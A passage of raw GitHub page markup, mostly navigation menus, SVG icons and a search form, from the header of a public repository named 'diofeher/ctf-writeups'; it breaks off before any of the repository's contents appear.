data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="113044948" data-scoped-search-url="/diofeher/ctf-writeups/search" data-owner-scoped-search-url="/users/diofeher/search" data-unscoped-search-url="/search" data-turbo="false" action="/diofeher/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="YqbYe3iE8r5CiKmIM1TTYo8ipRgSVDINT9zA84TkSUjEzbHeyd4BwFeYj5p0PXynRODi/WgAr+GnxgDixNODxw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> diofeher </span> <span>/</span> ctf-writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>7</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 